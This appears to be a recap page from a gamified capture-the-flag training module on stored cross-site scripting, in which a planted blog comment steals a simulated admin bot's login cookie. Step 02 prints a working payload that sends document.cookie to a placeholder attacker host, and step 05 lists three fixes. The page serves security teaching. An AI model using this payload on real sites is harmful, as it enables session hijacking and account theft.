04step · module overview
You finished Lab 05. Here's what stuck.
A short recap of the five steps that turned an ordinary blog comment into the admin's login pass landing in your hands. Same root cause as Lab 04 — input treated as code — just a different way out.
Module complete · stored-xss-cookie-theft
You found the page that runs comments instead of just showing them, planted your trap, timed it past the junk visitors, caught the admin's login pass at the /log page, and read it back from /log.json. Same idea as the SQL injection lab — your input gets treated as code — just sneaking out a different door.
XP earned+250xp
DifficultyIntermediate
Time spent~45min
TrackMarket
≡
Recap · the five beats
keep close
- 01 Look around · some pages show your comment, some pages obey it. A blog that treats your text as real HTML is like a stage where any visitor can write the next scene. The tell: a tag you typed shows up working (bold text) instead of as plain letters.
-
02
Plant the trap · a comment that runs isn't a comment.
You post
<script>fetch('//attacker?c='+document.cookie)</script>as your comment — a tiny script that grabs the visitor's login cookie and sends it to you. The blog saves it as-is, so it fires for everyone who opens the post afterward. - 03 The visitors · an admin keeps checking this blog. An automated admin (a real browser running on its own, no person at the keyboard) opens /post/1 every 30 seconds, carrying the genuine admin login pass. The visitor is the target — figure out who reads which page, and the rest falls into place.
-
04
Catch the pass · the script runs as if it were the admin.
Because your script runs inside the admin's own browser, it's allowed to read the admin's login cookie with
document.cookieand send it to you withfetch(). The browser lets the request leave even though it's going to a different site — it only blocks scripts from reading the reply back. -
05
Lock it down · the admin's pass is the flag — and any one fix would have stopped you.
Read
/log.jsonand keep the line taggedbot:"admin"— the pass is plain text, nothing to decode (the junk ones start withdecoy_). Three separate fixes would each have shut this down on their own: show input as text, mark cookiesHttpOnlyso scripts can't read them, and add a Content Security Policy that only allows the site's own scripts. Any single one is enough.